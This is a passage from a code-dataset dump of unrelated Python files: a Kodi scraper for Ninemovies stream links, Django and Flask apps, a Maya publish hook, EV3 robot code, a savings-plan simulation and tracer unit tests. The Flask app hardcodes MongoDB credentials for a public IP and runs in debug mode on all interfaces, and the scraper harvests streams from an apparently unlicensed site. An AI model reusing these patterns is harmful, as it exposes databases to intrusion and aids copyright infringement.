premiered, season, episode\r\n            url = urllib.urlencode(url)\r\n            return url\r\n        except:\r\n            return\r\n\r\n\r\n    def ninemovies_cache(self):\r\n        try:\r\n            url = urlparse.urljoin(self.base_link, self.search_link)\r\n\r\n            result = client.source(url)\r\n            result = result.split('>Movies and TV-Shows<')[-1]\r\n            result = client.parseDOM(result, 'ul', attrs = {'class': 'sub-menu'})[0]\r\n            result = re.compile('href=\"(.+?)\">(.+?)<').findall(result)\r\n            result = [(re.sub('http.+?//.+?/','/', i[0]), re.sub('&#\\d*;','', i[1])) for i in result]\r\n            return result\r\n        except:\r\n            return\r\n\r\n\r\n    def sources(self, url, hostDict, hostprDict):\r\n        try:\r\n            sources = []\r\n\r\n            if url == None: return sources\r\n\r\n            try:\r\n                result = ''\r\n\r\n                data = urlparse.parse_qs(url)\r\n                data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data])\r\n\r\n                title = data['tvshowtitle'] if 'tvshowtitle' in data else data['title']\r\n                title = cleantitle.get(title)\r\n\r\n                try: episode = data['episode']\r\n                except: pass\r\n\r\n                url = cache.get(self.ninemovies_cache, 120)\r\n\r\n                url = [(i[0], i[1], cleantitle.get(i[1])) for i in url]\r\n                url = [(i[0], i[1], i[2], re.sub('\\d*$', '', i[2])) for i in url]\r\n                url = [i for i in url if title == i[2]] + [i for i in url if title == i[3]]\r\n\r\n                if 'season' in data and int(data['season']) > 1:\r\n                    url = [(i[0], re.compile('\\s+(\\d*)$').findall(i[1])) for i in url]\r\n                    url = [(i[0], i[1][0]) for i in url if len(i[1]) > 0]\r\n                    url = [i for i in url if '%01d' % int(data['season']) == '%01d' % int(i[1])]\r\n\r\n                url = url[0][0]\r\n                url = urlparse.urljoin(self.base_link, url)\r\n\r\n                result = client.source(url)\r\n\r\n                years = re.findall('(\\d{4})', data['premiered'])[0] if 'tvshowtitle' in data else data['year']\r\n                years = ['%s' % str(years), '%s' % str(int(years)+1), '%s' % str(int(years)-1)]\r\n\r\n                year = re.compile('<dd>(\\d{4})</dd>').findall(result)[0]\r\n                if not year in years: return sources\r\n            except:\r\n                pass\r\n\r\n            try:\r\n                if not result == '': raise Exception()\r\n\r\n                url = urlparse.urljoin(self.base_link, url)\r\n\r\n                try: url, episode = re.compile('(.+?)\\?episode=(\\d*)$').findall(url)[0]\r\n                except: pass\r\n\r\n                result = client.source(url)\r\n            except:\r\n                pass\r\n\r\n            try: quality = client.parseDOM(result, 'dd', attrs = {'class': 'quality'})[0].lower()\r\n            except: quality = 'hd'\r\n            if quality == 'cam' or quality == 'ts': quality = 'CAM'\r\n            elif quality == 'hd' or 'hd ' in quality: quality = 'HD'\r\n            else: quality = 'SD'\r\n\r\n            result = client.parseDOM(result, 'ul', attrs = {'class': 'episodes'})\r\n            result = zip(client.parseDOM(result, 'a', ret='data-id'), client.parseDOM(result, 'a'))\r\n            result = [(i[0], re.findall('(\\d+)', i[1])) for i in result]\r\n            result = [(i[0], ''.join(i[1][:1])) for i in result]\r\n\r\n            try: result = [i for i in result if '%01d' % int(i[1]) == '%01d' % int(episode)]\r\n            except: pass\r\n\r\n            links = [urllib.urlencode({'hash_id': i[0], 'referer': url}) for i in result]\r\n\r\n            for i in links: sources.append({'source': 'gvideo', 'quality': quality, 'provider': 'Ninemovies', 'url': i, 'direct': True, 'debridonly': False})\r\n\r\n            try:\r\n                if not quality == 'HD': raise Exception()\r\n                quality = directstream.googletag(self.resolve(links[0]))[0]['quality']\r\n                if not quality == 'SD': raise Exception()\r\n                for i in sources: i['quality'] = 'SD'\r\n            except:\r\n                pass\r\n\r\n            return sources\r\n        except:\r\n            return sources\r\n\r\n\r\n    def resolve(self, url):\r\n        try:\r\n            data = urlparse.parse_qs(url)\r\n            data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data])\r\n\r\n            headers = {'X-Requested-With': 'XMLHttpRequest'}\r\n\r\n            now = time.localtime()\r\n            url = '/ajax/film/episode?hash_id=%s&f=&p=%s' % (data['hash_id'], now.tm_hour + now.tm_min)\r\n            url = urlparse.urljoin(self.base_link, url)\r\n\r\n            result = client.source(url, headers=headers, referer=data['referer'])\r\n            result = json.loads(result)\r\n\r\n            grabber = {'flash': 1, 'json': 1, 's': now.tm_min, 'link': result['videoUrlHash'], '_': int(time.time())}\r\n            grabber = result['grabber'] + '?' + urllib.urlencode(grabber)\r\n\r\n            result = client.source(grabber, headers=headers, referer=url)\r\n            result = json.loads(result)\r\n\r\n            url = [(re.findall('(\\d+)', i['label']), i['file']) for i in result if 'label' in i and 'file' in i]\r\n            url = [(int(i[0][0]), i[1]) for i in url if len(i[0]) > 0]\r\n            url = sorted(url, key=lambda k: k[0])\r\n            url = url[-1][1]\r\n\r\n            url = client.request(url, output='geturl')\r\n            if 'requiressl=yes' in url: url = url.replace('http://', 'https://')\r\n            else: url = url.replace('https://', 'http://')\r\n            return url\r\n        except:\r\n            return\r\n\r\n\r\n","sub_path":"ycbeast/addons/plugin.video.phstreams/resources/lib/sources/ninemovies_mv_tv.py","file_name":"ninemovies_mv_tv.py","file_ext":"py","file_size_in_byte":7532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"621289054","text":"from django.urls import path,re_path\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\napp_name='accounts'\n\nurlpatterns = [\n    path('signup/',views.SignUp.as_view(),name='signup'),\n    path('login/',auth_views.LoginView.as_view(template_name='accounts/login.html'),name='login'),\n    path('logout/',auth_views.LogoutView.as_view(),name='logout'),\n    path('bye/',views.ByeView.as_view(),name='bye'),\n    path('<username>/upload/',views.upload_material,name='upload'),\n    path('dashboard',views.dashboard,name='dashboard'),\n    path('uploads',views.self_uploads,name='self_uploads')\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"91315628","text":"from flask import Flask, render_template, jsonify, request\n\napp = Flask(__name__)\nfrom pymongo import MongoClient\n#\nclient = MongoClient('mongodb://test:test@13.124.12.77', 27017)\n# client = MongoClient('mongodb://test:test@3.38.117.254:27017')\ndb = client.dbsparta\n\n\n\n\n## HTML을 주는 부분\n@app.route('/')\ndef home():\n\n\n    return render_template('index.html')\n\n\n## API 역할을 하는 부분\n\n@app.route('/api/pettype', methods=['GET']) #pet type를 db에서 가져와서 index.html로 보내줌\ndef pet_type():\n    print('pet_type get 실행')\n    pet_types = list(db.petstagram_pet_type.find({}, {'_id': False}))\n    print('pet_type get 종료')\n    return jsonify({'result': 'success', 'pet_types': pet_types})\n\n@app.route('/api/petlist', methods=['GET']) #pet list를 db에서 가져와서 index.html로 보내줌\ndef pet_list():\n    print('pet_list get 실행')\n    pet_lists = list(db.petstagram.find({}, {'_id': False}))\n    print('pet_list get 종료')\n    return jsonify({'result': 'success', 'pet_lists': pet_lists})\n\n\n\nif __name__ == '__main__':\n    app.run('0.0.0.0', port=5000, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"433370037","text":"\"\"\"\nCopyright (c) 2013 Shotgun Software, Inc\n----------------------------------------------------\n\n\"\"\"\n\nimport os\nimport maya.cmds as cmds\nimport pymel.core as pm\n\nimport tank\nfrom tank import Hook\nfrom tank import TankError\n\nclass ScanSceneHook(Hook):\n    \"\"\"\n    Hook to scan scene for items to publish\n    \"\"\"\n    \n    def execute(self, **kwargs):\n        \"\"\"\n        Main hook entry point\n        :returns:       A list of any items that were found to be published.  \n                        Each item in the list should be a dictionary containing \n                        the following keys:\n                        {\n                            type:   String\n                                    This should match a scene_item_type defined in\n                                    one of the outputs in the configuration and is \n                                    used to determine the outputs that should be \n                                    published for the item\n                                    \n                            name:   String\n                                    Name to use for the item in the UI\n                            \n                            description:    String\n                                            Description of the item to use in the UI\n                                            \n                            selected:       Bool\n                                            Initial selected state of item in the UI.  \n                                            Items are selected by default.\n                                            \n                            required:       Bool\n                                            Required state of item in the UI.  If True then\n                                            item will not be deselectable.  Items are not\n                                            required by default.\n                                            \n                            other_params:   Dictionary\n                                            Optional dictionary that will be passed to the\n                                            pre-publish and publish hooks\n                        }\n        \"\"\"   \n        \n        ctx=self.parent.context\n          \n        items = []\n        \n        # get the main scene:\n        scene_name = cmds.file(query=True, sn=True)\n        if not scene_name:\n            raise TankError(\"Please Save your file before Publishing\")\n        \n        scene_path = os.path.abspath(scene_name)\n        name = os.path.basename(scene_path)\n\n        # create the primary item - this will match the primary output 'scene_item_type':            \n        items.append({\"type\": \"work_file\", \"name\": name})\n        \n        #create alembic items\n        assets={}\n        nodes=[]\n        \n        if ctx.step['name']!='Light':\n            for node in pm.ls(type='transform'):        \n                if pm.PyNode(node).hasAttr('asset'):            \n                    assetName=cmds.getAttr(node+'.asset')\n                    assets[assetName]=[]            \n                    nodes.append(node)\n                if pm.PyNode(node).hasAttr('abcStep'):            \n                    assetName='extras'\n                    assets[assetName]=[]            \n                    nodes.append(node)\n            \n            if len(nodes)>0:\n                for node in nodes:  \n                    assetName=cmds.getAttr(node+'.asset')\n                    assets[assetName].append(node)  \n                    if pm.PyNode(node).hasAttr('abcStep'):  \n                        assetName='extras'\n                        assets[assetName].append(node)        \n                                 \n            for asset in assets:\n                items.append({\"type\":\"asset\", \"name\":asset, \"other_params\": assets[asset] })\n        \n        #create Preview items\n        cameras=pm.ls(type='camera')\n        for node in cameras:  \n            if node != 'frontShape' and node != 'sideShape' and node != 'topShape' and node != 'perspShape':\n                items.append({\"type\": \"shotcam\", \"name\": node.getParent().name().split(':')[-1], \"other_params\": [node.getParent()]})\n        \n        #adding Render item\n        if ctx.step['name']=='Light':\n            items.append({\"type\": \"render\", \"name\": 'render'})\n        \n        return items\n","sub_path":"tank_backup/config/hooks/shot_scan_scene_tk-maya.py","file_name":"shot_scan_scene_tk-maya.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"245645090","text":"\"\"\"\n  Library of EV3 robot functions that are useful in many different applications. For example things\n  like arm_up, arm_down, driving around, or doing things with the Pixy camera.\n\n  Add commands as needed to support the features you'd like to implement.  For organizational\n  purposes try to only write methods into this library that are NOT specific to one tasks, but\n  rather methods that would be useful regardless of the activity.  For example, don't make\n  a connection to the remote control that sends the arm up if the ir remote control up button\n  is pressed.  That's a specific input --> output task.  Maybe some other task would want to use\n  the IR remote up button for something different.  Instead just make a method called arm_up that\n  could be called.  That way it's a generic action that could be used in any task.\n\"\"\"\n\nimport ev3dev.ev3 as ev3\nimport math\nimport time\n\n\nclass Snatch3r(object):\n    \"\"\"Commands for the Snatch3r robot that might be useful in many different programs.\"\"\"\n    \n    # DONE: Implement the Snatch3r class as needed when working the sandox exercises\n    # (and delete these comments)\n\n    def __init__(self):\n        self.left_motor = ev3.LargeMotor(ev3.OUTPUT_B)\n        self.right_motor = ev3.LargeMotor(ev3.OUTPUT_C)\n        self.arm = ev3.MediumMotor(ev3.OUTPUT_A)\n        self.touch_sensor = ev3.TouchSensor()\n        assert self.left_motor.connected\n        assert self.right_motor.connected\n\n    def forward(self, inches, speed=100, stop_action = 'brake'):\n        k = 360/4.2\n        degrees_motor= k * inches\n        self.left_motor.run_to_rel_pos(position_sp=degrees_motor,speed_sp = 8*speed, stop_action = stop_action)\n\n        self.right_motor.run_to_rel_pos(position_sp=degrees_motor,speed_sp = 8*speed, stop_action = stop_action)\n        self.left_motor.wait_while(\"running\")\n        self.right_motor.wait_while(\"running\")\n\n    def backward(self, inches, speed=100, stop_action='brake'):\n            k = 360 / 4.2\n            degrees_motor = -k * inches\n            self.left_motor.run_to_rel_pos(position_sp=degrees_motor, speed_sp=-8 * speed, stop_action=stop_action)\n\n            self.right_motor.run_to_rel_pos(position_sp=degrees_motor, speed_sp=-8 * speed, stop_action=stop_action)\n            self.left_motor.wait_while(\"running\")\n            self.right_motor.wait_while(\"running\")\n\n    def turn_left(self,degrees, speed, stop_action='brake'):\n        right_motor = ev3.LargeMotor(ev3.OUTPUT_C)\n        right_motor.run_to_rel_pos(speed_sp=speed * 8, position_sp=degrees * 13)\n        right_motor.wait_while(ev3.LargeMotor.STATE_RUNNING)\n        right_motor.stop(stop_action=stop_action)\n\n    def turn_right(self, degrees, speed, stop_action='brake'):\n        left_motor = ev3.LargeMotor(ev3.OUTPUT_B)\n        left_motor.run_to_rel_pos(speed_sp=speed * -8, position_sp=degrees * -13)\n        left_motor.wait_while(ev3.LargeMotor.STATE_RUNNING)\n        left_motor.stop(stop_action=stop_action)\n\n    def spin_left(self,degrees, speed, stop_action):\n        left_motor = ev3.LargeMotor(ev3.OUTPUT_B)\n        right_motor = ev3.LargeMotor(ev3.OUTPUT_C)\n        robot_degrees = degrees * 4.2\n\n        left_motor.speed_sp = speed * (8)\n        left_motor.run_to_rel_pos(position_sp=-robot_degrees)\n        right_motor.speed_sp = speed * 8\n        right_motor.run_to_rel_pos(position_sp=robot_degrees)\n        right_motor.wait_while('running')\n        left_motor.wait_while('running')\n        left_motor.stop(stop_action=stop_action)\n        right_motor.stop(stop_action=stop_action)\n\n    def spin_right(self, degrees, speed, stop_action):\n        left_motor = ev3.LargeMotor(ev3.OUTPUT_B)\n        right_motor = ev3.LargeMotor(ev3.OUTPUT_C)\n        robot_degrees = degrees * 4.2\n\n        left_motor.speed_sp = speed * 8\n        right_motor.speed_sp = speed * 8\n        left_motor.run_to_rel_pos(position_sp=robot_degrees)\n        right_motor.run_to_rel_pos(position_sp=-robot_degrees)\n        left_motor.wait_while('running')\n        right_motor.wait_while('running')\n        left_motor.stop(stop_action=stop_action)\n        right_motor.stop(stop_action=stop_action)\n\n    def loop_forever(self):\n        self.running = True\n        while self.running:\n            time.sleep(0.1)\n\n    def shutdown(self):\n        self.arm.stop()\n        self.left_motor.stop()\n        self.right_motor.stop()\n        self.running = False\n\n    def move(self, left_motor_speed, right_motor_speed):\n        self.left_motor.run_forever(speed_sp=left_motor_speed)\n        self.right_motor.run_forever(speed_sp=right_motor_speed)\n\n    def arm_up(self):\n        self.arm.run_forever(speed_sp=700)\n        while not self.touch_sensor.is_pressed:\n            time.sleep(0.01)\n        self.arm.stop(stop_action='brake')\n        ev3.Sound.beep().wait()\n\n    def arm_down(self):\n        self.arm.run_to_rel_pos(position_sp=-14.2*360)\n        self.arm.wait_while(ev3.Motor.STATE_RUNNING)\n\n    def stop(self):\n        self.left_motor.stop(stop_action='brake')\n        self.right_motor.stop(stop_action='brake')\n        self.arm.stop(stop_action='brake')\n\n\n\n","sub_path":"projects/joekrisciunas/joe_robot_controller.py","file_name":"joe_robot_controller.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"33330209","text":"import numpy as np\nimport pandas as pd\nimport time\n\nif __name__ == '__main__':\n    from client import Client\n    import get_data as gd\n\n\ndef generator_strate(mois_origine, num_contrats=1000):\n    '''\n    on genere 1000 contrats pel ouvert en mois_origine.\n    On donne les encours, versements, clotures, age et\n    ecart de taux de la population total, c'est a dire\n    on va agreger toutes les clients et les representer dans\n    un seule strate.\n    '''\n\n    RS = np.random.RandomState(198304+mois_origine)\n    dernier_mois = min(mois_origine + 179, 247)\n\n    # pour chaque client ou contrant, la taille du vecteur\n    # des encours est size avec\n    num_encours = dernier_mois - mois_origine + 1\n\n    data = np.zeros([num_encours, 3])  # la premier colonne\n    # aura l'age du pel, la deuxieme, l'ecart de taux euribor 3m\n    # avec taux du pel, la quatrime les encours, la cinquieme\n    # les versements et la sixieme les clotures.\n\n    for n in range(num_contrats):\n        montant_souhaite = RS.randint(10, 62) * 1000\n        duree_souhaite = RS.randint(4, 11) * 12\n        client = Client(mois_origine, montant_souhaite, duree_souhaite)\n        client.simulation_encours(RS)\n        data[:, 0] += client.encours\n        data[:, 1] += client.versements\n        data[:, 2] += client.clotures\n\n    ages = range(num_encours)\n    ecart_taux = np.array(gd.euribor_3m[mois_origine:mois_origine +\n                          num_encours]) - client.tx_epargne\n\n    data = np.column_stack((range(num_encours), ecart_taux, data))\n\n    return data\n\nif __name__ == '__main__':\n    time0 = time.time()\n\n    columns_names = ['age',\n                     'ecart_taux',\n                     'encours',\n                     'versements',\n                     'clotures',\n                     ]\n\n    stock_pel = pd.DataFrame(columns=columns_names)\n\n    for strate in range(248):\n        print(f'generation de la strate numero {strate}')\n        data_strate = pd.DataFrame(generator_strate(strate),\n                                   columns=columns_names)\n        stock_pel = stock_pel.append(data_strate, ignore_index=True)\n\n    stock_pel.to_csv('stock_pel.csv')\n\n    time1 = time.time()\n\n    print(f'on a genere le fichier stock_pel.csv en {time1-time0:2f} s \\n')\n\nelse:\n    stock_pel = pd.read_csv('stock_pel.csv', sep=',', index_col=0)\n","sub_path":"Memoire.VersionFinal/Simulation_encours/comportemental/stock_pel.py","file_name":"stock_pel.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"290148974","text":"import json\nimport unittest\nimport warnings\n\nimport jsonpickle\n\nimport lightstep.constants\nimport lightstep.reporter\nimport lightstep.tracer\nimport lightstep.instrument\nfrom lightstep.crouton import ttypes\n\nclass MockConnection(object):\n    \"\"\" MockConnection is used to debug and test Runtime.\n    \"\"\"\n    def __init__(self):\n        self.reports = []\n        self.ready = False\n\n    def open(self):\n        self.ready = True\n\n    def report(self, _, report):\n        \"\"\" Mimic the Thrift client's report method. Instead of sending report\n            requests save them to a list.\n        \"\"\"\n        self.reports.append(report)\n        return ttypes.ReportResponse()\n\n    def close(self):\n        pass\n\n    def clear(self):\n        \"\"\" Delete the current report requests.\n        \"\"\"\n        self.reports[:] = []\n\nclass NewStyleDummyObject(object):\n    \"\"\" Utilized to test JSON serialization.\n    \"\"\"\n    def __init__(self):\n        self.obj_payload = None\n        self.char_payload = 'a'\n        self.bool_payload = True\n        self.int_payload = -324234234\n        self.double_payload = 3.13123\n        self.string_payload = 'Payload String Test'\n        self.list_payload = ['item1', 'item2']\n\n    def __eq__(self, other):\n        return self.__dict__ == other.__dict__\n\nclass OldStyleDummyObject():\n    \"\"\" Utilized to test JSON serialization.\n    \"\"\"\n    def __init__(self):\n        self.obj_payload = None\n        self.char_payload = 'a'\n        self.bool_payload = True\n        self.int_payload = -324234234\n        self.double_payload = 3.13123\n        self.string_payload = 'Payload String Test'\n        self.list_payload = ['item1', 'item2']\n\n    def __eq__(self, other):\n        return self.__dict__ == other.__dict__\n\nclass StressTestObject(NewStyleDummyObject):\n    \"\"\" Utilized to test JSON serialization with an object that\n        contains a large data structure, i.e. a map.\n    \"\"\"\n    def __init__(self, num_keys):\n        self.array_payload = ['item1', 'item2']\n        self.map_payload = {}\n        for i in range(num_keys):\n            self.map_payload[str(i)] = i\n\nclass CyclicObject1(object):\n    \"\"\" Used to test JSON serialization with cyclic pointers.\n    \"\"\"\n    def __init__(self):\n        self.message = 'CyclicObject1'\n        self.obj_payload = CyclicObject2(self)\n\nclass CyclicObject2(object):\n    \"\"\" Used to test JSON serialization with cyclic pointers.\n    \"\"\"\n    def __init__(self, obj_payload):\n        self.message = 'CyclicObject2'\n        self.obj_payload = obj_payload\n\n\n\nclass RuntimeTest(unittest.TestCase):\n    \"\"\" Unit Tests\n    \"\"\"\n    def setUp(self):\n        self.mock_connection = MockConnection()\n        self.mock_connection.open()\n        self.mock_reporter = lightstep.reporter.MockReporter()\n        self.runtime_args = {'secure': False,\n                             'service_host': 'localhost',\n                             'service_port': 9998,\n                             'access_token': '{your_access_token}',\n                             'group_name': 'python/runtime_test',\n                             'periodic_flush_seconds': 0}\n\n    def create_test_runtime(self):\n        \"\"\" Returns a runtime based on self.runtime_args.\n        \"\"\"\n        return lightstep.instrument.Runtime(**self.runtime_args)\n\n    def create_test_tracer(self):\n        \"\"\" Returns a tracer that stores everything in self.mock_reporter.\n        \"\"\"\n        return lightstep.tracer.Tracer(self.mock_reporter)\n\n    def create_lightstep_tracer(self):\n        return lightstep.tracer.Tracer(\n            lightstep.tracer.reporter_module.LightStepReporter(**self.runtime_args))\n\n    # ---------------\n    # NO PARAM TESTS\n    # ---------------\n    def test_init_without_params(self):\n        # Won't be able to send logs and spans - but shouldn't crash\n        runtime = lightstep.instrument.Runtime()\n        runtime._add_log(ttypes.LogRecord(stable_name=\"Nowhere to go\"))\n        runtime._add_span(ttypes.SpanRecord(span_name=\"Nowhere to go span\"))\n        self.assertFalse(runtime.flush(),\n                         \"Flush should have failed to reach backend\")\n        self.assertFalse(runtime.shutdown(flush=True),\n                         \"Shutdown's flush should have failed to reach backend.\")\n\n    # -------------\n    # SHUTDOWN TESTS\n    # -------------\n    def test_send_logs_after_shutdown(self):\n        runtime = self.create_test_runtime()\n\n        # Send 10 logs\n        for i in range(10):\n            runtime._add_log(ttypes.LogRecord(stable_name=str(i)))\n        self.assertTrue(runtime.flush(self.mock_connection))\n\n        # Check 10 logs\n        self.check_logs(self.mock_connection.reports[0].log_records)\n\n        # Delete current logs and shutdown runtime\n        self.mock_connection.clear()\n        runtime.shutdown()\n\n        # Send 10 logs, though none should get through\n        for i in range(10):\n            runtime._add_log(ttypes.LogRecord(stable_name=str(i)))\n        self.assertFalse(runtime.flush(self.mock_connection))\n        self.assertEqual(len(self.mock_connection.reports), 0)\n\n    def test_shutdown_twice(self):\n        runtime = self.create_test_runtime()\n        runtime.shutdown()\n        runtime.shutdown()\n\n    # ------------------\n    # NONE & EMPTY TESTS\n    # ------------------\n    def test_log_no_log_statement(self):\n        runtime = self.create_test_runtime()\n        runtime._add_log(ttypes.LogRecord(stable_name=''))\n        self.assertTrue(runtime.flush(self.mock_connection))\n        self.assertEqual(len(self.mock_connection.reports), 1)\n        self.assertEqual(len(self.mock_connection.reports[0].log_records), 1)\n\n    def test_span_no_span_name(self):\n        runtime = self.create_test_runtime()\n        runtime._add_span(ttypes.SpanRecord(span_name=''))\n        self.assertTrue(runtime.flush(self.mock_connection))\n        self.assertEqual(len(self.mock_connection.reports[0].span_records), 1)\n\n    # ------------\n    # STRESS TESTS\n    # ------------\n    def test_stress_logs(self):\n        runtime = self.create_test_runtime()\n        for i in range(1000):\n            runtime._add_log(ttypes.LogRecord(stable_name=str(i)))\n        self.assertTrue(runtime.flush(self.mock_connection))\n        self.assertEqual(len(self.mock_connection.reports[0].log_records), 1000)\n        self.check_logs(self.mock_connection.reports[0].log_records)\n\n    def test_stress_spans(self):\n        runtime = self.create_test_runtime()\n        for i in range(1000):\n            runtime._add_span(ttypes.SpanRecord(span_name=str(i)))\n        self.assertTrue(runtime.flush(self.mock_connection))\n        self.assertEqual(len(self.mock_connection.reports[0].span_records), 1000)\n        self.check_spans(self.mock_connection.reports[0].span_records)\n\n    # --------------------------\n    # THRIFT VALUE SERIALIZATION\n    # --------------------------\n    def test_tag_types(self):\n        tracer = self.create_lightstep_tracer()\n        span = tracer.start_span('test_span')\n\n        # Valid\n        span.set_tag('string_key', 'string_value')\n        # Coerced to strings\n        span.set_tag('string_key', 123)\n        span.set_tag('string_key', 123.4)\n        span.set_tag('string_key', True)\n        # Ignored, but should not interrupt control flow\n        span.set_tag('string_key', {'A': '1', 'B': 2 })\n        span.set_tag('string_key', set([1, 2, 2]))\n        span.finish()\n\n        # TODO: this test attempts, intentionally, to report externally rather\n        # than to a mock connection. This is the 'easiest' way to exercise the\n        # Thrift serialization code that bawks at the wrong-typed data. The\n        # todo herein is to find a more elegant / unit-test-like way to exercise\n        # that code.\n        #\n        # The test here is that this call does not case Thrift to complain.\n        tracer.reporter.runtime.flush()\n\n    # -------------\n    # PAYLOAD TESTS\n    # -------------\n    def test_null_payload(self):\n        tracer = self.create_test_tracer()\n        with tracer.start_span(operation_name='payload span') as span:\n            span.log_event('payload log')\n\n        self.assertEqual(self.mock_reporter.spans[0].logs[0].payload_json, None)\n\n    def test_char_payload(self):\n        self.log_payload('a')\n        self.check_payload('\"a\"')\n\n    def test_bool_payload(self):\n        self.log_payload(True)\n        self.check_payload('true')\n\n    def test_int_payload(self):\n        self.log_payload(-324234234)\n        self.check_payload('-324234234')\n\n    def test_double_payload(self):\n        self.log_payload(3.13123)\n        self.check_payload('3.13123')\n\n    def test_string_payload(self):\n        self.log_payload('Payload String Test')\n        self.check_payload('\"Payload String Test\"')\n\n    def test_list_payload(self):\n        self.log_payload(['item1', 'item2'])\n        self.check_payload('[\"item1\", \"item2\"]')\n\n    def _check_span_payload(self, payload, expected):\n        self.mock_reporter.clear()\n        self.log_payload(payload)\n        self.check_payload(expected)\n\n    def test_dict_payload(self):\n        d = dict(one=1, two=2, three=3)\n        self._check_span_payload({'A': '1', 'B': 2,}, '{\"A\": \"1\", \"B\": 2}')\n        self._check_span_payload(dict(one=1, two=2, three=3), '{\"one\": 1, \"two\":2, \"three\":3}')\n        self._check_span_payload({'A': 123, 'B' :d}, '{\"A\": 123, \"B\": {\"one\": 1, \"three\": 3, \"two\": 2}}')\n        self._check_span_payload({'A': set([1, 2, 2])}, '{\"A\":[1,2]}')\n\n    # def test_readme_example(self):\n    #     # Artificial data for the example\n    #     self.mock_connection.clear()\n    #     runtime = self.create_test_runtime()\n    #     span = runtime._add_span(ttypes.SpanRecord(span_name='test_span'))\n    #     eventName='post_shared'\n    #     eventCount=510\n    #     # Sigh: testing a one element set here since it's not trivial to ensure\n    #     # a deterministic order to the set's json encode -> decode roundtrip.\n    #     eventData={'post_title':'Ski Video', 'tags': set(['snow'])}\n\n    #     span.infof('Event type %s occurred %d times', eventName, eventCount, payload=eventData)\n\n    #     span.end()\n    #     self.assertTrue(runtime.flush(self.mock_connection))\n    #     recorded_payload = self.mock_connection.reports[0].log_records[0].payload_json\n    #     self.check_payload(recorded_payload, '{\"arguments\": [\"post_shared\", 510], \"payload\": {\"post_title\": \"Ski Video\", \"tags\": [\"snow\"]}}', False)\n\n\n    def test_new_style_object_payload(self):\n        self.log_payload(NewStyleDummyObject())\n        self.check_payload('{\"bool_payload\": true, \"char_payload\": \"a\", '\n                           '\"double_payload\": 3.13123, \"int_payload\": -324234234, '\n                           '\"list_payload\": [\"item1\", \"item2\"], \"obj_payload\": null, '\n                           '\"string_payload\": \"Payload String Test\"}')\n\n    def test_old_style_object_payload(self):\n        self.log_payload(OldStyleDummyObject())\n        self.check_payload('{\"bool_payload\": true, \"char_payload\": \"a\", '\n                           '\"double_payload\": 3.13123, \"int_payload\": -324234234, '\n                           '\"list_payload\": [\"item1\", \"item2\"], \"obj_payload\": null, '\n                           '\"string_payload\": \"Payload String Test\"}')\n\n    def test_stress_object_payload(self):\n        stress_obj = StressTestObject(1500)\n        self.log_payload(stress_obj)\n        self.check_payload(jsonpickle.encode(stress_obj, unpicklable=False))\n\n    def test_cyclic_payload(self):\n        obj1 = CyclicObject1()\n        self.log_payload(obj1)\n        self.check_payload('{\"message\": \"CyclicObject1\", \"obj_payload\": '\n                           '{\"message\": \"CyclicObject2\", \"obj_payload\": '\n                           '\"%s\"}}' % obj1.__repr__())\n\n    # ---------\n    # TRACER TESTS\n    # ---------\n\n    # ---------\n    # SPAN TESTS\n    # ---------\n    def test_span_log(self):\n        \"\"\" An example of how tracer can be tested.\n\n        We leave most tests commented out since the opentracing api is in flux. Tests should be written when it stablizes.\n        \"\"\"\n        tracer = self.create_test_tracer()\n        span = tracer.start_span(operation_name='Test Span Infof')\n        # span.infof('Hi there %s %s', 'John', 'Smith', payload='Info')\n        span.log_event('Hi there John Smith')\n        span.finish()\n\n        report_span = self.mock_reporter.spans[0]\n        span_record = report_span.span_record\n        self.assertEqual(span_record.span_name, 'Test Span Infof')\n        log = report_span.logs[0]\n        self.assertEqual(log.stable_name, 'Hi there John Smith')\n        self.assertEqual(log.level, 'I')\n        #self.check_payload(log.payload_json, '{\"arguments\": [\"John\", \"Smith\"], \"payload\": \"Info\"}')\n        self.assertEqual(log.span_guid, span_record.span_guid)\n\n    # def test_span_warnf(self):\n    #     runtime = self.create_test_runtime()\n    #     span = runtime._add_span(ttypes.SpanRecord(span_name='Test Span Warnf')\n    #     span.warnf('Hi there %s %s', 'John', 'Smith', payload='Warn')\n    #     span.end()\n    #     self.assertTrue(runtime.flush(self.mock_connection))\n\n    #     report_span = self.mock_connection.reports[0].span_records[0]\n    #     self.assertTrue(report_span.span_name == 'Test Span Warnf',\n    #                     'Incorrect Span')\n\n    #     log = self.mock_connection.reports[0].log_records[0]\n    #     self.assertTrue(log.stable_name == 'Hi there John Smith',\n    #                     'Incorrect Log')\n    #     self.assertTrue(log.level == 'W', 'Incorrect Level')\n    #     self.check_payload(log.payload_json, '{\"payload\": \"Warn\", \"arguments\": [\"John\", \"Smith\"]}')\n    #     self.assertTrue(log.span_guid == report_span.span_guid)\n\n    # def test_span_errorf(self):\n    #     runtime = self.create_test_runtime()\n    #     span = runtime._add_span(ttypes.SpanRecord(span_name='Test Span Errorf')\n    #     span.errorf('Hi there %s %s', 'John', 'Smith', payload='Error')\n    #     span.end()\n    #     self.assertTrue(runtime.flush(self.mock_connection))\n\n    #     report_span = self.mock_connection.reports[0].span_records[0]\n    #     self.assertTrue(report_span.span_name == 'Test Span Errorf',\n    #                     'Incorrect Span')\n\n    #     log = self.mock_connection.reports[0].log_records[0]\n    #     self.assertTrue(log.stable_name == 'Hi there John Smith',\n    #                     'Incorrect Log')\n    #     self.assertTrue(log.level == 'E', 'Incorrect Level')\n    #     self.check_payload(log.payload_json, '{\"arguments\": [\"John\", \"Smith\"], \"payload\": \"Error\"}')\n    #     self.assertTrue(log.span_guid == report_span.span_guid)\n\n    def 